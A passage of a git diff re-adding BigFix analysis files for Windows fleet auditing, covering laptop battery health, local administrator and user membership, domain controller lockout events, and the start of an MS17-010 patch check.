-<P><A href="http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-0176ACFB-3FF2-4895-9521-33C9BC948F0B">http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-0176ACFB-3FF2-4895-9521-33C9BC948F0B</A></P>
-<P><A href="http://msdn.microsoft.com/en-us/library/aa394074%28v=vs.85%29.aspx">http://msdn.microsoft.com/en-us/library/aa394074%28v=vs.85%29.aspx</A></P>
-<P><A href="http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/31/using-windows-powershell-to-determine-if-a-laptop-is-on-battery-power.aspx">http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/31/using-windows-powershell-to-determine-if-a-laptop-is-on-battery-power.aspx</A></P>
-<P>&nbsp;</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(exists structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios) OR (exists selects &quot;* from Win32_Battery&quot; of wmi) OR (exists selects &quot;* from Win32_PortableBattery&quot; of wmis) OR (exists selects &quot;* from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 18 Dec 2014 19:32:59 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="# of batteries" EvaluationPeriod="P2D">maxima of ((number of structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios);(maxima of multiplicities of unique values of (preceding texts of firsts &quot;=&quot; of it) of (it as string) of selects &quot;* from Win32_Battery&quot; of wmis);(maxima of multiplicities of unique values of (preceding texts of firsts &quot;=&quot; of it) of (it as string) of selects &quot;* from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;))</Property>
-    <Property ID="2" Name="Raw SMBIOS battery data" EvaluationPeriod="P2D">(name of it as trimmed string &amp; &quot;=&quot; &amp; it as string as trimmed string) of values of structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios</Property>
-    <Property ID="4" Name="% battery life in capacity" EvaluationPeriod="P1D">if not exists (selects &quot;FullChargeCapacity from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) then ERROR &quot;UNKNOWN&quot; else ( (item 0 of it * 100 / item 1 of it) of (integer value of property &quot;FullChargeCapacity&quot; of it, integer value of property &quot;DesignCapacity&quot; of it) of select objects &quot;* from DCIM_Battery&quot; whose(exists integer values of properties &quot;FullChargeCapacity&quot; of it AND exists integer values of properties &quot;DesignCapacity&quot; of it) of wmis &quot;root\dcim\sysman&quot; )</Property>
-    <Property ID="5" Name="Battery Status" EvaluationPeriod="P1D">unique values whose(it != &quot;&quot;) of (it as trimmed string) of string values of (if not exists (selects &quot;Status from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) then it else (selects &quot;Status from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)) of (selects &quot;Status from Win32_Battery&quot; of wmis)</Property>
-    <Property ID="6" Name="Max Capacity (Wh)" EvaluationPeriod="PT12H">unique values of (it / 1000) of significance places 2 of (item 0 of it * item 1 of it) of (value &quot;design_capacity&quot; of it as string as trimmed string as integer as floating point, value &quot;design_capacity_multiplier&quot; of it as string as trimmed string as integer as floating point) of structures &quot;portable_battery&quot; of smbios</Property>
-    <Property ID="7" Name="Max Volts" EvaluationPeriod="PT12H">unique values of (it / 1000) of significance places 2 of (it as string as trimmed string as integer as floating point) of values &quot;design_voltage&quot; of structures &quot;portable_battery&quot; of smbios</Property>
-    <Property ID="8" Name="Max Amps" EvaluationPeriod="PT12H">unique values of (it / 100) of significance places 0 of (it * 100) of (item 0 of it / item 1 of it) of (values &quot;design_capacity&quot; of it as string as trimmed string as integer as floating point, values &quot;design_voltage&quot; of it as string as trimmed string as integer as floating point) of structures &quot;portable_battery&quot; of smbios</Property>
-    <Property ID="9" Name="Battery Manufacture Date" EvaluationPeriod="PT12H">unique values of (it as string as trimmed string) of values &quot;manufacture_date&quot; of structures &quot;portable_battery&quot; of smbios</Property>
-    <Property ID="11" Name="Battery Chemistry" EvaluationPeriod="PT12H">(if it != &quot;Unknown&quot; then it else ( if (exists (unique values of (it as string as trimmed string) whose(it != &quot;&quot;) of values &quot;sbds_device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios)) then (unique values of (it as string as trimmed string) whose(it != &quot;&quot;) of values &quot;sbds_device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios) else &quot;Unknown&quot; )) of unique values of ( if exists it then it else &quot;Unknown&quot; ) of (tuple string items ( (it as string as trimmed string as integer) of values &quot;device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP&quot;)</Property>
-    <Property ID="12" Name="EstimatedRunTime" EvaluationPeriod="PT1H">unique values whose(it != /* This seems to be what Windows/WMI returns when it doesn&apos;t really have an answer: */ 71582788) of integer values of (if not exists (selects &quot;EstimatedRunTime from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) whose( (exists integer values of it) AND (71582788 != integer value of it) ) then it else (selects &quot;EstimatedRunTime from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)) of (selects &quot;EstimatedRunTime from Win32_Battery&quot; of wmis)</Property>
-    <Property ID="13" Name="Names of Batteries" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose(it != &quot;&quot;) of ((string values of selects &quot;Name from Win32_Battery&quot; of wmis);(string values of selects &quot;Name from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;);((it as string) of values &quot;device_name&quot; of structures &quot;portable_battery&quot; of smbios))</Property>
-    <Property ID="14" Name="DeviceID from Win32_Battery" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose(it != &quot;&quot;) of string values of selects &quot;DeviceID from Win32_Battery&quot; of wmis</Property>
-    <Property ID="15" Name="Availability from Win32_Battery" EvaluationPeriod="PT1H">unique values of integer values of selects &quot;Availability from Win32_Battery&quot; of wmis</Property>
-    <Property ID="16" Name="Chemistry from Win32_Battery" EvaluationPeriod="PT12H">unique values of (tuple string items ( integer values of selects &quot;Chemistry from Win32_Battery&quot; of wmis ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP, Unknown&quot;)</Property>
-    <Property ID="17" Name="Chemistry from Win32_PortableBattery" EvaluationPeriod="PT12H">unique values of (tuple string items ( integer values of selects &quot;Chemistry from Win32_PortableBattery&quot; of wmis ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP, Unknown&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Laptop Battery Audit - Windows
+  ID       : 2994755
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-12-18T12:35:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Laptop Battery Audit - Windows</Title>
+    <Description><![CDATA[<P>This analysis uses a combination of <STRONG>SMBIOS</STRONG>, <STRONG>WMI</STRONG>, and <STRONG>OMCI</STRONG> ( Dell Command | Monitor ) to report on batteries connected to a system. ( in particular laptop batteries, but also&nbsp;battery backups in some cases&nbsp;)</P>
+<P>The best way to determine if a battery needs replaced is to look at the following properties:&nbsp; <FONT size=2><STRONG>"% battery life in capacity</STRONG>", "<STRONG>Battery Status</STRONG>", and "<STRONG>Battery Manufacture Date</STRONG>"</P></FONT>
+<P>In the case of Dell Systems, the best data will be returned if Dell Command | Monitor (also known as OMCI) is installed. See the fixlet available here to install Dell&nbsp;<STRONG>OMCI</STRONG>:&nbsp; <A href="http://bigfix.me/fixlet/details/3918">http://bigfix.me/fixlet/details/3918</A></P>
+<P>There is a related analysis for Apple OS X systems available here:&nbsp; <A href="http://bigfix.me/analysis/details/2994537">http://bigfix.me/analysis/details/2994537</A></P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://dmtf.org/sites/default/files/standards/documents/DSP0134_2.8.0.pdf">http://dmtf.org/sites/default/files/standards/documents/DSP0134_2.8.0.pdf</A></P>
+<P><A href="http://bigfix.me/relevance/details/2999628">http://bigfix.me/relevance/details/2999628</A></P>
+<P><A href="http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-0176ACFB-3FF2-4895-9521-33C9BC948F0B">http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-0176ACFB-3FF2-4895-9521-33C9BC948F0B</A></P>
+<P><A href="http://msdn.microsoft.com/en-us/library/aa394074%28v=vs.85%29.aspx">http://msdn.microsoft.com/en-us/library/aa394074%28v=vs.85%29.aspx</A></P>
+<P><A href="http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/31/using-windows-powershell-to-determine-if-a-laptop-is-on-battery-power.aspx">http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/31/using-windows-powershell-to-determine-if-a-laptop-is-on-battery-power.aspx</A></P>
+<P>&nbsp;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios) OR (exists selects &quot;* from Win32_Battery&quot; of wmi) OR (exists selects &quot;* from Win32_PortableBattery&quot; of wmis) OR (exists selects &quot;* from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 18 Dec 2014 19:32:59 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="# of batteries" EvaluationPeriod="P2D">maxima of ((number of structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios);(maxima of multiplicities of unique values of (preceding texts of firsts &quot;=&quot; of it) of (it as string) of selects &quot;* from Win32_Battery&quot; of wmis);(maxima of multiplicities of unique values of (preceding texts of firsts &quot;=&quot; of it) of (it as string) of selects &quot;* from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;))</Property>
+    <Property ID="2" Name="Raw SMBIOS battery data" EvaluationPeriod="P2D">(name of it as trimmed string &amp; &quot;=&quot; &amp; it as string as trimmed string) of values of structures whose(name of it as lowercase = &quot;portable_battery&quot;) of smbios</Property>
+    <Property ID="4" Name="% battery life in capacity" EvaluationPeriod="P1D">if not exists (selects &quot;FullChargeCapacity from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) then ERROR &quot;UNKNOWN&quot; else ( (item 0 of it * 100 / item 1 of it) of (integer value of property &quot;FullChargeCapacity&quot; of it, integer value of property &quot;DesignCapacity&quot; of it) of select objects &quot;* from DCIM_Battery&quot; whose(exists integer values of properties &quot;FullChargeCapacity&quot; of it AND exists integer values of properties &quot;DesignCapacity&quot; of it) of wmis &quot;root\dcim\sysman&quot; )</Property>
+    <Property ID="5" Name="Battery Status" EvaluationPeriod="P1D">unique values whose(it != &quot;&quot;) of (it as trimmed string) of string values of (if not exists (selects &quot;Status from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) then it else (selects &quot;Status from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)) of (selects &quot;Status from Win32_Battery&quot; of wmis)</Property>
+    <Property ID="6" Name="Max Capacity (Wh)" EvaluationPeriod="PT12H">unique values of (it / 1000) of significance places 2 of (item 0 of it * item 1 of it) of (value &quot;design_capacity&quot; of it as string as trimmed string as integer as floating point, value &quot;design_capacity_multiplier&quot; of it as string as trimmed string as integer as floating point) of structures &quot;portable_battery&quot; of smbios</Property>
+    <Property ID="7" Name="Max Volts" EvaluationPeriod="PT12H">unique values of (it / 1000) of significance places 2 of (it as string as trimmed string as integer as floating point) of values &quot;design_voltage&quot; of structures &quot;portable_battery&quot; of smbios</Property>
+    <Property ID="8" Name="Max Amps" EvaluationPeriod="PT12H">unique values of (it / 100) of significance places 0 of (it * 100) of (item 0 of it / item 1 of it) of (values &quot;design_capacity&quot; of it as string as trimmed string as integer as floating point, values &quot;design_voltage&quot; of it as string as trimmed string as integer as floating point) of structures &quot;portable_battery&quot; of smbios</Property>
+    <Property ID="9" Name="Battery Manufacture Date" EvaluationPeriod="PT12H">unique values of (it as string as trimmed string) of values &quot;manufacture_date&quot; of structures &quot;portable_battery&quot; of smbios</Property>
+    <Property ID="11" Name="Battery Chemistry" EvaluationPeriod="PT12H">(if it != &quot;Unknown&quot; then it else ( if (exists (unique values of (it as string as trimmed string) whose(it != &quot;&quot;) of values &quot;sbds_device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios)) then (unique values of (it as string as trimmed string) whose(it != &quot;&quot;) of values &quot;sbds_device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios) else &quot;Unknown&quot; )) of unique values of ( if exists it then it else &quot;Unknown&quot; ) of (tuple string items ( (it as string as trimmed string as integer) of values &quot;device_chemistry&quot; of structures &quot;portable_battery&quot; of smbios ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP&quot;)</Property>
+    <Property ID="12" Name="EstimatedRunTime" EvaluationPeriod="PT1H">unique values whose(it != /* This seems to be what Windows/WMI returns when it doesn&apos;t really have an answer: */ 71582788) of integer values of (if not exists (selects &quot;EstimatedRunTime from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;) whose( (exists integer values of it) AND (71582788 != integer value of it) ) then it else (selects &quot;EstimatedRunTime from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;)) of (selects &quot;EstimatedRunTime from Win32_Battery&quot; of wmis)</Property>
+    <Property ID="13" Name="Names of Batteries" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose(it != &quot;&quot;) of ((string values of selects &quot;Name from Win32_Battery&quot; of wmis);(string values of selects &quot;Name from DCIM_Battery&quot; of wmis &quot;root\dcim\sysman&quot;);((it as string) of values &quot;device_name&quot; of structures &quot;portable_battery&quot; of smbios))</Property>
+    <Property ID="14" Name="DeviceID from Win32_Battery" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose(it != &quot;&quot;) of string values of selects &quot;DeviceID from Win32_Battery&quot; of wmis</Property>
+    <Property ID="15" Name="Availability from Win32_Battery" EvaluationPeriod="PT1H">unique values of integer values of selects &quot;Availability from Win32_Battery&quot; of wmis</Property>
+    <Property ID="16" Name="Chemistry from Win32_Battery" EvaluationPeriod="PT12H">unique values of (tuple string items ( integer values of selects &quot;Chemistry from Win32_Battery&quot; of wmis ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP, Unknown&quot;)</Property>
+    <Property ID="17" Name="Chemistry from Win32_PortableBattery" EvaluationPeriod="PT12H">unique values of (tuple string items ( integer values of selects &quot;Chemistry from Win32_PortableBattery&quot; of wmis ) of &quot;Unknown, Other, Unknown, Lead Acid, NiCad, NiMH, LION, Zinc Air, LiP, Unknown&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Local Admin_User Audit - Windows (2994547).bes b/Sites/Windows Management/Fixlets/Analyses/Local Admin_User Audit - Windows (2994547).bes
index 68dd9a92b..c7dfcb363 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Local Admin_User Audit - Windows (2994547).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Local Admin_User Audit - Windows (2994547).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Local Admin/User Audit - Windows
-  ID       : 2994547
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-07-10T10:54:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Local Admin/User Audit - Windows</Title>
-    <Description><![CDATA[<P>This analysis will audit the number of local admins on the system. </P>
-<P>From here: <A href="http://bigfix.me/cdb/analysis/49"><FONT color=#000080>http://bigfix.me/cdb/analysis/49</FONT></A></P>]]></Description>
-    <Relevance>(windows of operating system)</Relevance>
-    <Relevance>(exists local group &quot;Administrators&quot;)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 10 Jul 2013 17:52:56 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Number of Local Admins" EvaluationPeriod="P2D">(number of members whose (it as string contains computer name) of local group &quot;Administrators&quot; as string)</Property>
-    <Property ID="2" Name="Local Admins" EvaluationPeriod="P2D">(concatenation &quot;, &quot; of (members whose (it as string contains computer name) of local group &quot;Administrators&quot; as string))</Property>
-    <Property ID="3" Name="Local Users" EvaluationPeriod="P1D">(concatenation &quot;, &quot; of (members whose (it as string contains computer name) of local group &quot;Users&quot; as string))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Local Admin/User Audit - Windows
+  ID       : 2994547
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-07-10T10:54:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Local Admin/User Audit - Windows</Title>
+    <Description><![CDATA[<P>This analysis will audit the number of local admins on the system. </P>
+<P>From here: <A href="http://bigfix.me/cdb/analysis/49"><FONT color=#000080>http://bigfix.me/cdb/analysis/49</FONT></A></P>]]></Description>
+    <Relevance>(windows of operating system)</Relevance>
+    <Relevance>(exists local group &quot;Administrators&quot;)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 10 Jul 2013 17:52:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Number of Local Admins" EvaluationPeriod="P2D">(number of members whose (it as string contains computer name) of local group &quot;Administrators&quot; as string)</Property>
+    <Property ID="2" Name="Local Admins" EvaluationPeriod="P2D">(concatenation &quot;, &quot; of (members whose (it as string contains computer name) of local group &quot;Administrators&quot; as string))</Property>
+    <Property ID="3" Name="Local Users" EvaluationPeriod="P1D">(concatenation &quot;, &quot; of (members whose (it as string contains computer name) of local group &quot;Users&quot; as string))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Local Client Administrators (78).bes b/Sites/Windows Management/Fixlets/Analyses/Local Client Administrators (78).bes
index ee23e66fb..70e53e45f 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Local Client Administrators (78).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Local Client Administrators (78).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Local Client Administrators
-  ID       : 78
-  Author   : 55FDC13E-285A-4207-97E8-32E29239932A
-  Domain   : BESC
-  Imported : 2013-02-20T10:45:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Local Client Administrators</Title>
-    <Description>Local Administrators </Description>
-    <Relevance>name OF operating system AS lowercase starts with &quot;win&quot; AS lowercase</Relevance>
-    <Relevance>NOT(name OF operating system AS lowercase starts with &quot;win200&quot; AS lowercase)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 09 Mar 2012 16:24:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Local Client Administrators">members of local group &quot;Administrators&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Local Client Administrators
+  ID       : 78
+  Author   : 55FDC13E-285A-4207-97E8-32E29239932A
+  Domain   : BESC
+  Imported : 2013-02-20T10:45:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Local Client Administrators</Title>
+    <Description>Local Administrators </Description>
+    <Relevance>name OF operating system AS lowercase starts with &quot;win&quot; AS lowercase</Relevance>
+    <Relevance>NOT(name OF operating system AS lowercase starts with &quot;win200&quot; AS lowercase)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Mar 2012 16:24:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Local Client Administrators">members of local group &quot;Administrators&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Lockout Events from DC (2998671).bes b/Sites/Windows Management/Fixlets/Analyses/Lockout Events from DC (2998671).bes
index 9ef52b53f..8019d9caf 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Lockout Events from DC (2998671).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Lockout Events from DC (2998671).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Lockout Events from DC
-  ID       : 2998671
-  Author   : sonofmalkav
-  Domain   : BESC
-  Imported : 2022-03-23T11:25:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Lockout Events from DC</Title>
-    <Description><![CDATA[<P>This analysis search the domain controllers security event log for the 4740 (lockout user) event&nbsp;ID.&nbsp;It search&nbsp;in the las 24 hour.&nbsp;</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>product type of operating system = nt domain controller product type</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 23 Mar 2022 17:31:52 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Lockout Users" EvaluationPeriod="PT1H">computer name, ((month of it as two digits &amp; &quot;/&quot; &amp; day_of_month of it as two digits &amp; &quot;/&quot; &amp; year of it as string) of dates (local time zone) of times generated of it, (time of times (local time zone) of times generated of it), concatenation of substrings separated by &quot;%0d%0a&quot; of (preceding text of first &quot;%0d%0a&quot; of following text of last &quot;Account Name:%09%09&quot; of it) of (descriptions of it)) of records whose (event id of it = 4740 and now - time generated of it &lt; 1*day) of (security event log)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Lockout Events from DC
+  ID       : 2998671
+  Author   : sonofmalkav
+  Domain   : BESC
+  Imported : 2022-03-23T11:25:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Lockout Events from DC</Title>
+    <Description><![CDATA[<P>This analysis search the domain controllers security event log for the 4740 (lockout user) event&nbsp;ID.&nbsp;It search&nbsp;in the las 24 hour.&nbsp;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>product type of operating system = nt domain controller product type</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 23 Mar 2022 17:31:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Lockout Users" EvaluationPeriod="PT1H">computer name, ((month of it as two digits &amp; &quot;/&quot; &amp; day_of_month of it as two digits &amp; &quot;/&quot; &amp; year of it as string) of dates (local time zone) of times generated of it, (time of times (local time zone) of times generated of it), concatenation of substrings separated by &quot;%0d%0a&quot; of (preceding text of first &quot;%0d%0a&quot; of following text of last &quot;Account Name:%09%09&quot; of it) of (descriptions of it)) of records whose (event id of it = 4740 and now - time generated of it &lt; 1*day) of (security event log)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Logged in users with local admin rights (2998581).bes b/Sites/Windows Management/Fixlets/Analyses/Logged in users with local admin rights (2998581).bes
index ee7422592..83cf9cbd0 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Logged in users with local admin rights (2998581).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Logged in users with local admin rights (2998581).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Logged in users with local admin rights
-  ID       : 2998581
-  Author   : ReynardMuldrake
-  Domain   : BESC
-  Imported : 2018-01-25T12:07:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Logged in users with local admin rights</Title>
-    <Description>This analysis will show any logged in user with local admin rights on their workstation. </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
-    <Relevance>exists (members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 25 Jan 2018 19:43:39 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Logged in users with local admin rights">(members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;) </Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Logged in users with local admin rights
+  ID       : 2998581
+  Author   : ReynardMuldrake
+  Domain   : BESC
+  Imported : 2018-01-25T12:07:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Logged in users with local admin rights</Title>
+    <Description>This analysis will show any logged in user with local admin rights on their workstation. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
+    <Relevance>exists (members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 25 Jan 2018 19:43:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Logged in users with local admin rights">(members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;) </Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MS17-010 verify (WannaCry &co.) (2998568).bes b/Sites/Windows Management/Fixlets/Analyses/MS17-010 verify (WannaCry &co.) (2998568).bes
index 91ce29b6e..815f2ccd5 100644
--- a/Sites/Windows Management/Fixlets/Analyses/MS17-010 verify (WannaCry &co.) (2998568).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/MS17-010 verify (WannaCry &co.) (2998568).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : MS17-010 verify (WannaCry &co.)
-  ID       : 2998568
-  Author   : wwan
-  Domain   : BESC
-  Imported : 2017-06-06T07:05:39
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>MS17-010 verify (WannaCry &amp;co.)</Title>
-    <Description><![CDATA[<P>verify for MS17-010 vulnerability (WannaCry &amp; co.)</P>
-<P>version query based on <A href="https://support.microsoft.com/de-at/help/4023262/how-to-verify-that-ms17-010-is-installed">https://support.microsoft.com/de-at/help/4023262/how-to-verify-that-ms17-010-is-installed</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 06 Jun 2017 14:03:11 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
